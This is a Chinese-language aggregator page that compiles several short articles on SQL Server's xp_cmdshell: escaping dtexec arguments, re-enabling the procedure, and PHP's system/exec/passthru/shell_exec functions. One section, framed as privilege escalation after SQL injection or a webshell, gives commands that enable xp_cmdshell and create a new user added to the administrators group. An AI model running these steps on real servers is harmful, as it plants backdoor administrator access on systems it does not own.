GVKun编程网logo

将传递给xp_cmdshell的命令参数转义到dtexec(传输命令给程式时发生错误)

7

对于想了解将传递给xp_cmdshell的命令参数转义到dtexec的读者,本文将是一篇不可错过的文章,我们将详细介绍传输命令给程式时发生错误,并且为您提供关于"SqlServer阻止了对xp_cmd

对于想了解将传递给xp_cmdshell的命令参数转义到dtexec的读者,本文将是一篇不可错过的文章,我们将详细介绍传输命令给程式时发生错误,并且为您提供关于"SqlServer 阻止了对 xp_cmdshell的访问"的解决办法、MSSQL 提权之 xp_cmdshell、MSSQL2008 一句话启用 xp_cmdshell、php中调用外部命令函数system,exec,passthru,escapeshellcmd,shell_exec区别与用法的有价值信息。

本文目录一览:

将传递给xp_cmdshell的命令参数转义到dtexec(传输命令给程式时发生错误)

将传递给xp_cmdshell的命令参数转义到dtexec(传输命令给程式时发生错误)

我正在使用存储过程和对xp_cmdshell的调用来远程调用SSIS包:

declare @cmd varchar(5000)set @cmd = ''"C:\Program Files (x86)\Microsoft SQL Server\100\DTS\Binn\dtexec.exe" /Rep E /Sql Package /SET \Package.Variables[User::ImportFileName].Value;c:\foo.xlsx''print @cmdexec xp_cmdshell @cmd

这可以正常工作,但是我不能保证变量值(c:\ foo.xslx)不会包含空格,因此我想使用以下引号将其转义:

set @cmd = ''"C:\Program Files (x86)\Microsoft SQL Server\100\DTS\Binn\dtexec.exe" /Rep E /Sql Package /SET \Package.Variables[User::ImportFileName].Value;"c:\foo.xlsx"''

但是通过这样做我得到了错误

''C:\Program'' is not recognized as an internal or external command, operable program or batch file.

如果在cmd.exe中执行,上述两个命令都可以正常工作,因此我猜测SQL Server正在解释我的双引号并更改了某些内容,但我不知道是什么。

答案1

小编典典

研究完此内容后,您似乎必须使用带有xp_cmdshell的DOS 8.3表示法,例如c:\ progra〜1 …,并且参数上只能有一组引号。

要解决此限制,请使用较旧的DOS表示法,或者将您的代码放在可以正常运行的批处理文件中。

"SqlServer 阻止了对 xp_cmdshell的访问"的解决办法

-- To allow advanced options to be changed.EXEC sp_configure 'show advanced options',1GO-- To update the currently configured value for advanced options.RECONfigUREGO-- To enable the feature.EXEC sp_configure 'xp_cmdshell',1GO-- To update the currently configured value for this feature.RECONfigUREGO

MSSQL 提权之 xp_cmdshell

MSSQL 提权之 xp_cmdshell

0x01 前提

  1. getshell 或者存在 sql 注入并且能够执行命令。

  2. sql server 是 system 权限,sql server 默认就是 system 权限。

0x02 xp_cmdshell

有了 xp_cmdshell 的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。

开启 xp_cmdshell

exec sp_configure ''show advanced options'', 1;reconfigure;
exec sp_configure ''xp_cmdshell'',1;reconfigure;

 

关闭 xp_cmdshell

exec sp_configure ''show advanced options'', 1;reconfigure;
exec sp_configure ''xp_cmdshell'', 0;reconfigure

 

0x03 提权

exec master..xp_cmdshell ''net user test pinohd123. /add''    添加用户test,密码test
exec master..xp_cmdshell ''net localgroup administrators test add''    添加test用户到管理员组

 

 

 



MSSQL2008 一句话启用 xp_cmdshell

MSSQL2008 一句话启用 xp_cmdshell

基于安全考虑,MSSQL2005 及以上版本默认禁用了 xp_cmdshell。直接调用该扩展存储过程会提示:

SQL Server 阻止了对组件 ''xp_cmdshell'' 的 过程''sys.xp_cmdshell'' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ''xp_cmdshell''。有关启用 ''xp_cmdshell'' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

幸运的是:只要该扩展存储过程没被删除,我们就可以一句话启用它 (不支持多句执行的话,请单独执行每句):

EXEC sp_configure ''show advanced options'', 1;RECONFIGURE;EXEC sp_configure ''xp_cmdshell'', 1;RECONFIGURE;

好了,来试试!

exec master..xp_cmdshell "whoami"

PS: 将开启语句的第二个 1 改成 0 再执行,xp_cmdshell 就又处于禁用状态了

php中调用外部命令函数system,exec,passthru,escapeshellcmd,shell_exec区别与用法

php中调用外部命令函数system,exec,passthru,escapeshellcmd,shell_exec区别与用法

php给我们提供了system(),exec(),passthru(),shell_exec()这几个函数来调用外部的命令.虽然这几个命令都能执行linux系统的shell命令,但是其实他们是有区别的:

system() 输出并返回最后一行shell结果。

exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。

passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。

shell_exec() 命令行实际上仅是反撇号 (`) 操作符的变体。如果您编写过 shell 或 Perl 脚本,您就知道可以在反撇号操作符内部捕捉其他命令的输出。

立即学习“PHP免费学习笔记(深入)”;

相同点:都可以获得命令执行的状态码

escapeshellcmd() 则是除去字符串中的特殊符号。可以防止使用者耍花招来破解该服务器系统。

system()
原型:string system (string command [, int return_var])
system()函数和其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
1
system("/usr/local/bin/webalizer/webalizer");

exec()
原型:string exec(string command [, string array [, int return_var]])
exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。如果array不是空的,在调用之前最好用unset()把它清除干净。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
1
exec("/bin/ls -l");
2
exec("/bin/ls -l", $res);
3
exec("/bin/ls -l", $res, $rc);

passthru()
原型:void passthru (string command [, int return_var])
passthru ()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus (Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
view sourceprint?
1
header("Content-type: image/gif");
2
passthru("./ppmtogif hunte.ppm");

shell_exec()
原型:string shell_exec (string $cmd )

shell_exec() 命令行实际上仅是反撇号 (`) 操作符的变体。如果您编写过 shell 或 Perl 脚本,您就知道可以在反撇号操作符内部捕捉其他命令的输出。例如,清单 1 显示了如何使用反撇号在当前目录中获取每个文本(.txt)的单词计数。

PHP命令行概述

清单 1. 使用反撇号计算单词数量

#! /bin/sh 
number_of_words=`wc -w *.txt` 
echo $number_of_words 
 
#result would be something like: 
#165 readme.txt 388 results.txt 588 summary.txt 
#and so on.... 
在您的 PHP 脚本中,您可以在 shell_exec() 中运行这个简单的命令,如清单 2 所示,并获取想要的结果。这里假设在同一个目录下有一些文本文件。

清单 2. 在 shell_exec() 中运行相同的命令

1 2  下一页

关于将传递给xp_cmdshell的命令参数转义到dtexec传输命令给程式时发生错误的介绍现已完结,谢谢您的耐心阅读,如果想了解更多关于"SqlServer 阻止了对 xp_cmdshell的访问"的解决办法、MSSQL 提权之 xp_cmdshell、MSSQL2008 一句话启用 xp_cmdshell、php中调用外部命令函数system,exec,passthru,escapeshellcmd,shell_exec区别与用法的相关知识,请在本站寻找。

本文标签: